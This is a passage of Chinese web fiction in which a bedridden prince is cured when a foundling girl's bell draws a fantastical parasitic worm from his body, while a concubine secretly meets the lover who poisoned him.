萧宁姝缓缓坐下:“堂哥不住在府中,还不知道吧?王妃娘娘将一个捡来的小野种生生捧成了王府的嫡女。我这脚上的伤,便是被那小野种所害。“ 小野种?嫡女?指的是刚才那个小女娃团团? 萧文礼虽然未在王府长大,但对于王府中的格局纠纷并非毫不知晓。 方清研和萧宁姝所言意欲何为,他也不是听不出来,但他不欲搅进来:“妹妹好生将养,学生当以卷笔为重,不打扰了,侄儿告退。”说完行了个礼,转身便离开了。 方清研看着他的背影,沉下了脸:“真是个没用的废物!只知道读书!就算是中了状元做了官,没有王府的帮扶,在官场上又能走多远?” “他跟谁都是那个样子,不必理他。娘,二叔他?” 方清研眉头深锁:“你二叔这两日应该便可以出祠堂了,娘现在担心的是,王爷的病据说大有起色,很快就能醒了。他若是当真痊愈了,你二叔若再想继承王府,可就没希望了。” 萧宁姝满脸不悦:“娘!爹爹对我素来冷淡,如今又有了那个小野种,恐怕女儿更是入不了他的眼了。你得想想办法才行啊。” 正在此时,廊下脚步声急响,一个小厮一路小跑,差点在台阶上绊了一跤,高声大喊着:“王爷睁眼啦!王爷睁眼啦!” 声音越过了凌霜阁,向里面一路飘去。 方清研和萧宁姝互相看了一眼,都在对方脸上看到了焦急和震惊,这么快?! 静兰苑和听雨阁听后全员出动,往养正轩而去,老夫人还没忘了吩咐:“速去将郭太医请来!” “爹爹醒啦!爹爹醒啦!”团团拍着小手,坐在萧宁珣怀中,高兴地手舞足蹈。 一行人来到了萧元珩的榻前,老夫人望着儿子的脸:“珩儿?” 萧元珩目光有些呆滞,眼珠微动,点了下头。 程如安的眼泪夺眶而出,“王爷,你终于醒了,妾身盼这一天,都盼了快三年了。” 萧元珩缓缓扭头,目光落在妻子的脸上,合了合眼帘。 “爹爹!”萧宁辰跟萧宁珣喊了一声,萧元珩又点了下头。 “爹爹!爹爹!”团团从三哥怀里挣出来,扑到床边,想去握他的手。 却见那只大手,往床里挪了一下,躲开了。 团团怔住了,眼泪一下子便积满了两只大眼睛,小嘴瘪得紧紧的,鼻头瞬间就红了。 她忍了又忍,泪水还是像断了线的珠子一样砸了下来,一头扑进了程如安的怀里,哇的一声大哭起来:“爹爹不喜欢我!娘亲!我不要在这里待着了,爹爹不要我!” 第22章 爹爹变傻了 程如安紧紧地把她搂在怀里:“团团乖啊,不哭不哭,爹爹不是不要你,也不是不喜欢你,爹爹他,这不是刚醒嘛!还没有见过你呢!” 团团抬起满是泪水的小脸:“可,可是,娘亲!你们喊爹爹,爹爹都点头了!可他不理我哇!”说完又哭了起来。 程如安用手一下一下顺着她的后背,“娘亲跟他说!你看着啊,娘亲跟爹爹说!” 她看向榻上的丈夫:“王爷,这是团团,是妾身祭祖时,先祖显灵才找到的女儿!她非常乖,你今日能醒过来,都是多亏了她呢!” 老夫人赶忙接口:“是啊!珩儿,我叩拜过祖宗,团团如今已经是你的嫡女了,你看看她,是不是特别可爱?” 萧宁辰和萧宁珣也在一旁帮腔:“爹!这是团团,是我们的小妹妹,我们都非常喜欢她。” 刚巧,方清研带着萧宁姝此时走了进来,因为萧宁姝的脚伤,她们来晚了一步,在屋外就听到了团团的哭声。 “王爷!您可算是醒了!我跟姝儿都快急死了!”方清研给老夫人和王妃行了个礼后,来到榻前:“姝儿,快过来,看看你爹爹。” 萧宁姝赶紧也走到床边,轻声呼唤:“爹爹,姝儿来了。” 萧元珩眼珠轻转,目光落在了她们脸上,片刻后,微微颔首。 萧宁姝得意地瞄了一眼还趴在王妃怀中哭泣的团团,心里畅快:“血浓于水啊妹妹,别伤心了,你本就不是爹爹的亲生女儿,他如此对你也是应当的,不要怪爹爹啊。” 团团的哭声更大了,小身子一抽一抽的:“娘亲!爹爹要她,不要我!爹爹不喜欢团团!娘亲!“ 程如安怒瞪了萧宁姝一眼:“乖团团,不是这样的,团团这么好,爹爹怎会不喜欢你呢?娘亲的小宝啊,不哭了,不哭了啊,你哭的娘亲的心都要碎了。“ 萧宁辰和萧宁珣两人目光冷厉地盯了她一眼。 老夫人沉下了脸:“闭嘴!珩儿刚醒,还需静养,不可喧哗!“ 方清研嘴角一撇,真是偏心啊,喧哗吵闹的明明是那个野种! 但她还是拉了萧宁姝一下,示意她不要再开口:“是。“ 老夫人望着儿子:“珩儿,你说句话啊,哪里还难受?“ 萧元珩愣了愣,又点了点头。 众人此时都发觉了有些不对,怎么人醒过来了,却只会眨眼点头呢? “郭太医还没到吗?“老夫人有些急了。 下人的声音恰好传来:“郭太医求见。“ “快请进来!“ 片刻后,郭太医进来了,老夫人急忙道:“别拘礼了,快给王爷诊脉!“ 郭太医诊了半天,伸出一只手指,在萧元珩的眼前晃了晃:“王爷请看,这是几?“ 萧元珩瞪着他的手指,似是在思索,众人都摒住了呼吸,连团团都安静了,窝在王妃的怀里,看着眼前这奇怪的场景。 半晌后,萧元珩闭了闭眼,头轻轻一点。 郭太医面露疑惑:“按理说……按理说,毒素已清,如今人也苏醒了,说明夜明砂也起了效,不该如此啊。“ 他取出药箱中的银针,缓缓扎进了萧元珩的额头。 “不许扎爹爹!“团团大喊了一句,伸出小手去够那根针。 程如安把她的手拉回来,抬手捂住了她的眼睛:”乖,爷爷是在给爹爹治病呢,没事没事。“团团这才安静下来。 郭太医行针如风,转瞬间便将数根银针都扎进了萧元珩的头上。 片刻后,他将所有的银针起出,再度诊脉:“奇怪!奇怪!王爷的身子已经无恙,但七窍闭塞,全然不通。“ 老夫人颤着声音问:“你的意思是?“ 郭太医顿了顿,“恕老夫直言,王爷如今,目虽视而不见其神,耳虽聪而不闻其意,口欲言而心不属之。其神智,如同……如同初生婴孩一般,懵懂未开!“ 话音一落,所有人都倒吸了一口凉气。 老夫人怔怔地望着儿子:“好不容易醒过来了,怎么会这样?“ 程如安泪如雨下:“王爷!你让妾身……如何是好啊!“ 团团搂着她的脖子,给她擦着眼泪:“娘亲不哭!爹爹会好的!“原来,爹爹的病还没好哇!难怪刚才他躲我,老爷爷说,爹爹现在,像个小婴儿,比我还小呢! 萧宁辰和萧宁珣兄弟二人,脸上也暗淡下来,屋里原本因萧元珩苏醒的那团喜气,彻底消散了。 老夫人看着郭太医:“郭老,可有良方能医王爷?” 郭太医心里没底,沉吟半晌:“老夫为王爷开一副醒神开窍的方子,吃吃看吧。” 方清研上前一步:“老夫人,妾身想明日一早,去玄穹观为王爷祈福,求神仙真人庇佑王爷能早日恢复。“ “也好。”老夫人点点头:“你去吧,清早便去,日落前回,不可在外多做停留。” “是。”方清研行了礼,带着萧宁姝退下了。 眼看着萧元珩喝下了郭太医的药,众人才离开了养正轩。 晚上,团团睡了,程如安吩咐:“让萧二来见我。” 不多时,萧二来到了静兰苑:“拜见王妃。“ “明日方侧妃去玄穹观,你悄悄地跟着,她所去何处,所见何人,说了什么,做了什么,一一记下来回我,不可遗漏。“ “是。“ 次日一早,方清研换了一身素服,头上仅斜插着一枚白玉簪, 脂粉薄施,眉眼间带着一缕恰到好处的轻愁,摆足了为卧病夫君忧心祈福的贤淑模样。 只带了海棠一人,登上马车,来到了玄穹观。 玄穹观坐落于京郊深处,规模颇大,青瓦朱墙掩映在苍松翠柏之间,一直以来,都是京城香火最盛的道观。 方清研走进正殿,跪在三清祖师金身面前,焚香、跪拜、求签、祝祷,口中念念有词,姿态虔诚无比。 待一切周全,她微微蹙眉,轻抚额角,声音带着几分倦怠对观中知客道:“有劳道长引路,我身子有些乏了,不知可否借一静室稍作歇息?” 知客知她是宁王侧妃,自然无有不从,连忙将她引至后院一处僻静雅舍。 此处竹影婆娑,远离前殿喧嚣,正是清静之所。 “你在外守着,警醒些。”方清研吩咐了海棠一句,推门而入,反手轻轻合上了门扉。 海棠应了声“是”,侍立在门外,警惕地望着四周。 却不知,一道鬼魅般的身影,早已悄无声息地伏在了静室的屋脊之后,正是奉王妃之命尾随而来的萧二。 他将呼吸收敛至几不可闻,身形与屋瓦的阴影完美融为一体,轻轻掀开一小片青瓦,将室内的景象,尽收眼底。 第23章 侧妃的秘密 一个身穿青衣的中年男子早已等候多时。 方清研那副柔弱疲惫的模样在她转过身面对那他时,顷刻间褪了个干干净净。 她唇角勾起一抹与方才悲悯神色截然不同的笑意,带着几分娇媚,几分大胆:“你来得倒早。” 男子看向她,眼里跳跃着灼热的光芒:“佳人有约,岂敢来迟?” 他上前一步,竟是毫不避讳地握住了她的手,指腹在她细腻的手背上轻轻摩挲:“不是说好了么,若无急事,你我不便相见,今日为何……?” “为何?”方清研低笑一声,靠进他的怀中:“我在王府煎熬了这么多年,你却在外面风流快活,若再不相见,怕是你已经忘记我了。” 男子搂着她,眼中滑过一丝不耐:“怎么会?你想多了。” 他抬起手,落在她的颈侧,轻轻褪下了她的外衫,嘴唇落在她的耳侧:“我对你如何,你难道心里不知么?无论我有多少女人,不过逢场作戏罢了,唯有你,才是我心头最爱。” 方清研微微喘息,指尖划过他的领口:“我来是想告诉你,昨日,他醒了。” 男子手一停,脸色变了:“哦?” 方清研的手却没停,剥落了他的衣裳:“也吓了我一跳呢,不过,人虽然已醒了,却痴傻如婴孩,什么都不懂了。” 男子微微一笑,露出一副早知如此的表情:“别怕,心肝,我在他身上使的手段,普天之下无人能解,只是苦了你了。” 方清研将他扑倒在桌上:“苦倒是不苦,守着个活死人罢了。只是,这日子何时才是个头?我只想,跟你光明正大,双宿双飞。” “快了,就快了……”男子低语,声音带着蛊惑:“待他油尽灯枯,王府偌大家业,还怕没有你的逍遥日子?”嘴唇落在了她的胸口。 方清研“嘤咛”一声,半推半就,眼波流转,尽是风流媚态。 屋顶上,萧二瞳孔骤缩,将每一字每一句都听入耳中,记在心里。 他不忍再看,将瓦片复归原位,身影如一片落叶般无声滑下屋檐,迅速隐没在竹林阴影之中。 屋内二人厮混了许久,方清研才推门出来,又是来时的那副模样了。 萧二一路跟随,回到了王府。 夜晚,萧二来到静兰苑,老夫人与程如安都在,他行了礼,将今日所见所闻一一禀告。 老夫人气的胸口不断起伏,一巴掌拍在桌上:“这个贱妇!“ 程如安努力维持着平静:“辛苦了,此事不可与任何人提起,下去领赏吧。” “是。”深知此事干系太大,萧二半个字都没多说,转身就走。 “母亲息怒,处置了她容易,但如今王爷尚未恢复,背后之人又不知究竟是谁,我在明,敌在暗,还是不动声色为好。” 老夫人长叹一声:“珩儿的身子要紧,此事你我既然已经知晓,今后更要格外小心,再不许她们靠近珩儿的药饮膳食!” “是,母亲请放心。” 这几日,郭太医天天都来给萧元珩行针,程如安将养正轩守得如铁桶一般,几乎寸步不离,但萧元珩的病却毫无起色。 团团每天都能看到娘亲偷偷垂泪,于是也闷闷不乐,走路都不蹦跶了,每天只是默默地跟着两个哥哥,在园子里闲逛。 “团团,咱们喂鱼好不好?” “嗯。” “团团,哥哥带你放风筝去吧。” “嗯。” 团团各种兴致全无,看得两个哥哥愁眉不展。 “要不,咱们出去走走?”萧宁珣蹲下来,搂着她:“咱们去巧酥阁买几样新鲜的点心,带回来给祖母和母亲尝尝。巧酥阁隔三岔五就推出新鲜的点心,花样儿可多呢。” 团团看着三哥:“好吧。二哥哥的腿走多了还是会痛,三哥哥,咱们俩去,给娘亲,祖祖和二哥把好吃的点心都带回来!“ 萧宁辰柔声道:“好!二哥在家等着你们。三弟,多带几个人,路上要小心,看好了团团。” “放心。” 说走就走,巧酥阁离王府并不远,萧宁珣有心带着妹妹四处转转,没有乘车,从侧门出去,抄近道拐过两条巷子,来到了京城最热闹的大街上。 青石板的路面被经年累月的脚步磨得光滑如镜,街边各种店铺林立,小贩们的吆喝声与伙计们招揽客人的热情呼喊绞在一起,噪杂而凌乱。 食肆中灶火正旺,氤氲出浓郁诱人的香气,霸道地钻进每个人的鼻腔。 笨重的骡马车子碾过石路,发出“咕噜咕噜”的沉闷声响,车上的把式不停地呵斥着挡路的行人。 大街上充斥着真实蓬勃的生气。 团团的眼睛都不够用了,她在这个摊子上停一下,又在那个摊子上停一下,拉着二哥的手小嘴不停地问,这是什么?那又是什么? 萧宁珣一一回应,将她护在身前,牢牢地守护着。 来到巧酥阁,二人挑了很多点心,包好了交给下人提着:“回家吧,团团。” “好!”萧宁珣见她走累了,把她抱在怀里:“累了吧,哥哥抱你回去。” 团团趴在哥哥的肩头,四处张望,哇,哥哥好高啊! 刚走进来时的小巷,“三哥哥!停一下!“团团喊住了他:”那个!那里有个东西!帮我捡一下。“ 萧宁珣顺着她小手指着的方向看过去,只见巷子的角落里,静静地躺着一个不起眼的小铜铃,也不知是谁家孩子的玩意儿,估计是手没拿稳,掉落的。 他蹲下身,将那铜铃捡了起来递到她手里:“这个?“ “嗯嗯!“团团握着铃铛,小心地擦掉了上面的灰尘,轻轻晃动,叮铃叮铃的声音并不大,却异常清脆,团团高兴地笑了:”哥哥!你听!它在给我唱歌呢!“ 萧宁珣知道妹妹这捡破烂的习惯,也没阻拦:“团团要是喜欢,哥哥给你买更好的玩。“ “不嘛!“团团摇了摇头:”我就要这个。“ 萧宁珣笑了笑,并不在意,妹妹喜欢什么,就拿着呗,他恨不得将这世间所有最好的东西,都拿给她。 兄妹二人回到王府,一问下人,才知道郭太医已经来了,老夫人,王妃,萧宁辰都在养正轩。 “三哥哥,咱们也去看看爹爹吧,爹爹今天,会不会搭理团团啊?团团很乖很乖的。“团团的小脸垮了下来。 萧宁珣心疼地用手蹭了蹭妹妹的小脸,“爹爹只是病还没好,等他好了,看见你,一定会比三哥和二哥都喜欢你的,三哥保证。“ 团团眨着大眼睛望着他:“嗯。“ 兄妹二人走进了养正轩。 郭太医正在行针,老夫人和王妃坐在床边的椅子里低垂着脸,萧宁辰则站在一旁,紧紧地盯着郭太医手中的银针。 郭太医将银针取出,放回药箱,凝神诊了会儿脉,抬起头,看了看众人,叹了口气,微微摇了摇头。 第24章 爹爹的手里有东西 众人都明白了他的意思:王爷的病,依旧是没有任何好转。 萧元珩睁着眼睛,静静地躺着,神情呆滞。 屋里气氛凝重,所有人都沉默着,无能为力,束手无策。 程如安望着丈夫毫无表情的脸,心中像是被滚油浇过,太煎熬了,太煎熬了,好不容易解了毒,又有了药引子服了药,醒过来了,怎么还是不好呢? 泪水无声地滑落,大滴大滴地砸在衣服上。 团团红了眼圈,钻进她的怀里:“娘亲不哭!团团给你买了好吃的点心呢。“ 程如安抱着她,控制不住地啜泣起来。 团团伸出小手,为娘亲轻轻抹去泪水:“娘亲!团团带你上街去玩好不好?有好多好玩的东西呢!” 程如安心知女儿是想让自己开心,勉强忍住了哭泣,低声问:“是吗,团团跟娘亲说说,都有什么好玩的?” “有好多好多人!我都没见过的!啊!还有,”她解开了腰间的绣囊,掏出了那个路上捡到的小铃铛,举起来给她看:“我还捡了个会唱歌的宝贝!娘亲你看!” 说着,轻轻摇晃起铃铛来,叮铃叮铃的声音瞬间响彻屋内。 “别动!”郭太医突然喊了一声,团团停了下来,奇怪地看着他:“老爷爷?不好听吗?” “不不不。小小姐,你听我说,我让你摇,你再摇,好不好? 看到众人疑惑的神情,郭太医嗽了嗽嗓子:“方才小小姐摇铃铛的时候,老夫仿佛看到了什么,或许,只是老夫眼花了,但是,不妨试试。“ 老夫人问:“郭老看到了什么?“ 郭太医用手指着萧元珩的耳根处:“小小姐,现在摇,别停下。“ 团团乖巧的“嗯。“了一声,摇动了铃铛。 下一刻,所有人都看见了,萧元珩耳后的皮肤下,像是被墨汁描了一笔,出现了一条细若发丝的黑影,从耳后直到颈侧。 “这是什么?“程如安瞪大了眼睛。 郭太医摇了摇头:“小小姐,继续,不要停啊,爷爷告诉你何时停,你再停。“ 铃声继续,随着叮铃叮铃的声音不停地响起,那条黑影慢慢开始浮动。 团团此时正坐在萧元珩的右手旁边,那黑影像是听到了召唤,带着一种让人头皮发麻的诡异扭摆,向右手的方向游去。 “两位公子,帮老夫一下,待它爬到王爷的手上,握住王爷的手腕,一定要握紧。“ “好。“兄弟二人上前一步,严阵以待。 郭太医从药箱中取出了一把小小的匕首:“小小姐,听爷爷的话啊,现在开始,慢点摇,慢一点。“ 团团放慢了速度,铃声变成了丁玲,丁玲,丁玲。 铃声慢了,黑影游动的速度也随之慢了下来,缓缓来到了王爷的右手背上,手背上皮肤纤薄,黑影的形状清晰可见。 程如安担心吓到团团,一把捂住了她的眼睛:“乖,继续摇,太丑了,别看啊。” 团团乖巧地点了点头,继续摇着手中的铜铃,没有挣开她。 “抓!“兄弟二人闻言一起动手,紧紧地掐住了萧元珩的手腕。 那黑影瞬间便反应过来,自己的后路已被切断,顿时疯狂地扭动起来。 郭太医手疾眼快,刀锋垂直落下,将手背切开了一个小口子,浓黑如墨的血液,带着一股腥气,流了出来,随着那黑血一同流出的,竟然是一条通体黑褐色,细长如线的虫子! 那虫子脱离了手背后不久便不再动弹,没了声息。 郭太医没有停下,不停地往外挤着黑血,好半晌过后,血液逐渐从黑色转为褐色,最后变得鲜红。 他这才停手,擦了擦额头上的汗水:“好险!好险!好恶毒的手段!竟然是摄魂蛊!二位公子,可以松手了。” 兄弟二人这才站直了身子,看着那死去的虫子:“太医,摄魂蛊是什么?怎么会在父亲的身体里?” 郭太医捻了一撮药粉撒在伤口上,缓缓包扎着伤口:“此物非比寻常!上古残卷《苗荒遗毒考》所载,此非中原之物,乃是南疆的阴毒秘术!“ 包扎好伤口之后,他看着那死去的恶心虫子,目光狂热:“此虫入体时只是极小的幼虫,进入体内后,靠吸食人体精华为生,逐渐长大。” “这摄魂蛊虫竟然已经长到如此长度,显然在王爷体内至少已有数年。” “此蛊阴毒之处在于,它本身毫无毒性,因此寻常诊脉对其完全无效!难怪我多年看诊,却无法察觉。王爷如今目滞神呆,正是被它蒙蔽了灵台,堵塞了心窍啊!” “如此说来,王爷现在彻底能好了?”程如安听得似懂非懂,如坠雾中,急忙堵上了郭太医还在滔滔不绝的话头,问出了自己最关心的问题。 郭太医频频点头:“可以!完全可以了!” 众人听后,脸上皆是大喜,终于等到这一天了! 团团瘪了瘪嘴:“老爷爷,还不能停吗?我的手好酸啊!” 众人这才反应过来,因为郭太医没有喊停,所以,团团还一直摇着手里的铃铛。 程如安也发觉自己还捂着女儿的眼睛,赶紧撤回了手。 郭太医一拍脑门:“可以了!可以了!老朽都忘了小小姐还在摇铃呢。” 团团“唉。“了一声,放下了手中的铃铛:“累死宝宝了。” 大人们啼笑皆非,程如安握着她的手腕,轻轻地给她揉着:“团团真乖!团团最棒了!若是没有你带回来的这个小铃铛,爹爹的病就好不了了,团团真是娘亲的好女儿!” “真的吗?” “当然啦!” 团团开心了,在程如安的怀里滚来滚去:“娘亲!真的是我救了爹爹?” “是啊!”程如安紧紧地抱着她,在她的小脸上亲了一口:“团团真是咱们家的小福星!” 团团得意了,搂住她的脖子,在她的脸上回敬了无数的亲亲。 郭太医若有所思地望着那只小铃铛:“此物竟能召唤摄魂蛊,乃是千金难买的宝物啊!竟是小小姐偶然捡到的?真是不可思议!” 几个大人的心中立时都咯噔了一下。 老夫人轻描淡写地接口:”侥幸罢了,不值一提。“ 郭太医冲着老夫人一揖到地:“老夫人!此物只存于传说之中,老夫行医一生,不想今日竟能得见真容。此乃天赐的医缘啊!“ “恳请老夫人恩准,能否、能否将这虫子和铃铛赐于老夫,让老夫带回去细细钻研?” 第25章 爹爹这次没有躲 老夫人看向团团:“团团,你可愿意将这铃铛给太医爷爷?” 团团歪着小脑袋看了看郭太医。 郭太医赶忙道:“小小姐,老夫的胡须随便你摸!” 大家都笑了,团团也乐了:“不用摸啦,已经摸过啦,老爷爷,你拿走吧。不过,你用完了,要还给我哦!我还想听它唱歌呢!” 郭太医大喜过望,居然冲她行了个礼:“多谢小小姐!”取出一个盒子,将虫子和铃铛放在里面,欢天喜地的就想告辞。 程如安赶忙叫住了他:“郭太医,王爷的病,是否还要服药?” 郭太医这才想起来:“恕罪!恕罪!老夫今日实在是欢喜得忘了形。按昨日的药方煎药服下即可,不必再开新方子了,病根已除,王爷休息几日便可痊愈了。” “多谢太医。今日之事,还请太医为王府保密,切勿与任何人提起。”程如安脸色郑重。 郭太医一怔,这才反应了过来,这摄魂蛊绝非偶然出现,看来是有人在处心积虑暗害宁王,自己无意之间竟得知了王府秘辛。 若不是这场怪病,宁王身为皇亲,如今定然还是那个兵权在握,战功赫赫,声震朝纲的一代贤王。 谁人下手?为何下手?此等天家恩怨,我这小小太医,还是有多远躲多远才是。 想到这里,郭太医冲着老夫人和王妃缓缓下跪,行了个大礼:“老臣遵命。“随后提起药箱,转身离去。 郭太医走了,程如安让萧宁珣抱着团团,亲自动手,将丈夫的床榻收拾得干干净净。 萧元珩仰面而卧,双目紧闭,看着跟以往并无不同。 程如安抬眼环视众人:“今日之事,王府中仅限这屋内几人知晓,不可对任何人说起。辰儿,你行走时还需让七星扶着你,不要让旁人看出来。” 兄弟二人点了点头:“儿子遵命。” 团团不懂了:“为什么啊?“ 萧宁珣在她耳边轻声解释:”因为,爹爹可能是被人害成这样的,娘亲的意思,不能让坏人知道爹爹已经好了,这样坏人才不会又来害爹爹,二哥的腿也一样。“ 团团举起小拳头:“我懂啦!我不说,不让坏蛋知道,可是三哥哥,坏蛋是谁啊,咱们抓他啊。爹爹的病一直不好,娘亲才总是掉眼泪,团团要打他!“ 萧宁珣微笑:“自然是要抓的,团团真聪明!” 程如安看向老夫人:“母亲,儿媳如此安排,您看是否妥当?” 老夫人微微颔首:“你安排的很好。郭太医既说珩儿过几日便能恢复,府中一切,便等珩儿醒来,由他亲自定夺。 门外传来下人的声音:“二爷在外求见,说是要看望王爷。” 程如安心里咯噔了一下,将丈夫的双手塞入锦被中,望向老夫人。 老夫人仔细看了看床上,一切如旧,才道:“让他进来。” 萧元华惦记着萧元珩服下那夜明砂后的情形,在祠堂抄完《家法》便赶了过来。 给老夫人和程如安行礼问安后,他看了看床上的兄长,死气沉沉,毫无动静。 “王兄的病竟然还是如此?” 程如安没有回答,但脸色暗淡,微微摇头,一副生无可恋的表情。 萧元华放心了:“看来那夜明砂也没多大奇效。儿子今日便回府去,为王兄再请名医来瞧。“ 老夫人点点头:“去吧。“ 三日之后,萧元珩缓缓睁开了双眼,屋里静悄悄的,这是……哪里? 耳边传来一道软软的童音:“娘亲!爹爹怎么还是没有醒啊!要不要跟老爷爷把铃铛要回来?” 娘亲?爹爹?老爷爷?铃铛?这个声音奶声奶气的,却莫名牵动着自己的心,究竟是谁? 妻子的声音还是那样温柔:“不用的,团团不用担心,铃铛他用完就会送回来的。老爷爷的医术最好了,他说你爹爹这几日就能醒,一定可以的。” 他转头望向床边,精准地锁定了那小小的身影。 一个粉雕玉琢的小女娃,小脸圆圆的,看起来也就四五岁,一身粉色衣衫,正睁着一双乌溜溜、湿漉漉的大眼睛,看着自己。 清澈的目光陡然跳跃出光芒:“娘亲!爹爹在看我!他醒啦!” 笑容绽放在脸上,两个小酒窝似曾相识,若隐若现。 程如安扑到床边,满脸惊喜:“可算是醒了!王爷?可还识得妾身?“ 萧元珩嗓子有些干涩,张了几下嘴,吐出了两个字:“安儿“ 程如安眼泪夺眶而出,安儿是丈夫私下里对自己的称呼,两年多了,她终于又听到了。 见丈夫的目光落在女儿身上,程如安赶忙将团团搂在身前,靠近了他。 “王爷,这是团团,妾身的女儿,你看,非常乖吧?你的病能好,多亏了她呢。“ 团团望着他,想起了那天躲开自己的手,小嘴一瘪,满脸委屈,转头缩进了娘亲的怀里。 萧元珩的心口像是被最柔软的羽毛狠狠撞了一下,又酸又胀,女儿?这孩子看起来四五岁的样子,长得跟安儿真像。我病了这么久吗? “团……团?“ 听到爹爹喊自己,团团转过了身,目光与他对视。 爹爹的眼睛真亮啊!像天上的星星一样!团团迟疑着冲他伸出了小手,你要是再躲,就是坏爹爹,我以后再也不要理你啦! 下一刻,一只大手把她的小手握在了掌心。 团团开心了:“娘亲!爹爹没躲!爹爹没躲!“ 程如安擦了擦眼泪:“对啊,爹爹上次躲开团团,是因为病还没好,现下好了,自然不会躲开啦。“ 见萧元珩的手上,还缠着上次郭太医给包上的软布。 团团双手把他的大手捧到嘴边,鼓起粉嫩嫩的腮帮子,极其认真地“呼呼”吹了两口气,那气息又轻又暖,带着甜甜的奶香:“团团吹吹,痛痛飞飞。“ 萧元珩愣住了。 纵横沙场、见惯生死的一颗铁血心脏,仿佛被这小小的气流彻底融化了。 “团团真乖。”他尽量放轻了声音,实在不知道如何跟这样一个软乎乎的小娃娃接触,笨拙地抽出了自己的手,在团团的小脸上碰了一下。 这小脸蛋!比花瓣还柔嫩。 他的手掌宽厚,指节因常握兵器而带着粗粝的薄茧,与女儿娇嫩的小脸形成了鲜明的对比。 团团高兴地在他的手上蹭了几下:“爹爹喜欢团团吗?” 萧元珩微微一笑:“喜欢!” 团团兴奋地蹦了起来:“爹爹喜欢我!我要去告诉二哥和三哥!爹爹喜欢我!” “去吧,路上不要喊,要小声的跟他俩说,这是只有咱们一家人才知晓的秘密哦!团团要帮娘亲守住,不能让不相干的人知道。 “要悄悄地告诉他们,爹爹刚醒,还要睡觉,让他们明日再来看爹爹。” “好嘞!爹爹!我明日再来看你!“团团一蹦一跳地跑了出去:“嬷嬷!我要去找二哥三哥玩!” “小小姐!慢些跑!小心摔着!“门卫刘嬷嬷的声音随着团团渐渐远去。 程如安点了点头:“真是个聪明孩子!” 她看向萧元珩:“王爷,你总算是醒了,府中多少大事,都等着你裁断啊!” 第26章 收到了马儿赛的请帖 程如安轻轻扶起丈夫,往他身后塞了几个软枕,让他舒舒服服地靠着床头,又端来一盏热茶,服侍着他喝下,这才稳稳地坐在床边,将王府中近日发生的一切,缓缓道来。 萧元珩默默听完,神情严肃,目光森然,“竟发生了这么多事!难为你了,安儿。“ 程如安眼圈一红,默默地握住了丈夫的手。 “团团那孩子,我第一眼见她便觉得甚是亲切,竟好像真的有种血脉相通的感觉,安儿,多亏你将她带了回来。” “我第一眼见到她的时候,也是如此。“ 他沉吟了片刻,轻轻摆了摆手:“我身上还是沉得很,甚是疲乏,待大好恐还需将养些时日。“ “今日起,请郭太医隔日便来一趟,不要让旁人知晓我已醒来。一切维持原样,按兵不动,待我精神恢复,再跟他们一笔一笔地算清楚这些帐。” 程如安点了点头:“如此甚好,王爷的身子才是最要紧的。其他的事,都可以先放一放。” 萧元珩握住了妻子的手,声音低柔:“苦了你了,安儿。” 程如安顿时哽咽:“不苦不苦,只要你身子康健,我……”想起这两年多难熬的日日夜夜,她说不下去了。 萧元珩轻轻拉她入怀,为她拭去了脸上的泪水。 “二哥哥!三哥哥!快来!我有秘密要告诉你们!”团团人还没跑进二哥的辰振轩,声音便已经传了进来。 兄弟二人相视一笑,萧宁珣起身迎了出去,团团一头扎进他怀里,顺势往他臂弯处一坐,萧宁珣熟练的将她捞起,抱得稳稳的:“团团怎么知道三哥也在这里啊?” 团团看了看,屋里只有兄妹三人,这才开口:“因为娘亲说过,二哥在旁人面前还要扶着人走路啊!所以,一定是三哥来二哥这里啦!” 萧宁珣抓着她一只小手凑到嘴边,亲了一下:“真是个小机灵鬼!” 萧宁辰看得心里痒痒,伸出双手:“二哥抱抱团团好不好?“ “嗯!“看到团团伸出一只手去够萧宁辰,萧宁珣急忙把她抱给了二哥,萧宁辰将她放在自己腿上,摸着她的头发:”团团要告诉我们什么秘密啊?“ 团团一只手搂着二哥的脖子,另一只手搂着三哥的脖子,把他们的头拉近自己,悄悄地说:“爹爹醒啦!他说他喜欢我!娘亲说,这是只能咱们家人才能知道的秘密!” 兄弟二人异常惊喜:“真的?” 团团奇怪地看了看他俩:“当然是真的啦!哦,对了,娘亲还说,爹爹刚醒,要睡觉,让咱们明日再去养正轩。” 两人瞬间明白,父母这是,有体己话要说。 下人的声音在门外响起:“陆家二公子求见,说是来给小小姐送帖子。” 团团眼睛噌的一下亮了:“小话梅来了?我要看小话梅!” 兄弟二人都是一脸的不耐烦,这个臭小子,怎么又来找团团!但妹妹一脸期待,又怎能让她失望? “让他进来吧。“ 陆清嘉人还没到,小话梅已经扑哧哧地飞了进来,团团从二哥怀里跳下来,小胳膊挥舞着,蹦得老高:“小话梅!小话梅!我在这里!“ 小话梅在屋里飞了一圈,冲着她飞过来,在她的头顶又飞了几圈,落在了她的肩头,用小脑袋蹭着她的脸蛋。 陆清嘉走进来一看:“小话梅!你怎么看见盟主就不要我了?“ 团团一脸得意的笑:“小话梅喜欢我嘛!“ “你一个大男人,跟只鸟计较什么!“萧宁辰语气冷淡。 萧宁辰一贯脸色冷硬,不假辞色,陆清嘉有些怵他,耸了耸肩,没敢回嘴。 萧宁珣问:“你来给团团送帖子?什么帖子?“ “明日,上林苑有马球赛!我家里办的,也算是我们少年游盟会的首次相聚,所以我亲自来给盟主送请帖。“ 陆清嘉从怀里掏出帖子递给萧宁珣:“两位兄长若是有兴致,不妨同来。” 团团扒着三哥的手,看着那张红底烫金的纸。 字她是看不懂的,但上面印着一个精致的马儿的图案,她能看懂:“马儿会?” 陆清嘉笑了:“不是马儿会,是马球会。马球……就是一种游戏啦!我也会参加哦,我的马儿可是一匹千里良驹,漂亮得紧,跑得还飞快!盟主你来给我加油好不好?” “游戏?马儿的游戏?”团团眼睛亮了:“哥哥?我想去!能去吗?” 见妹妹想去,萧宁珣刚想一口答应,萧宁辰却抢先开口:“你先回去吧,此事还需禀明了王妃方能决定。” 陆清嘉脸上垮了下来:“哦。” 团团走过去拉了拉他的手,仰起头看着他:“娘亲会让我去的!” 娘亲对我那么好,一定会答应的! 陆清嘉登时眉飞色舞:“小团团,你可要说到做到哦!我已经跟咱们游盟会里的其他人都说过了,你一定会去,你可不能削了我的面子哦!” 兄弟二人没去听两人在说什么,目光都落在妹妹拉着陆清嘉的那只小手上。 萧宁辰的眉头皱了起来,若不是自己还不能在旁人面前行走自如,他早就冲过去了,团团是我的妹妹,她的手岂是这个臭小子能碰的! 萧宁珣直接走过去,把团团拉到自己身边:“你回去吧,若是母亲同意,我便遣人去你府上给你回个口信儿。” 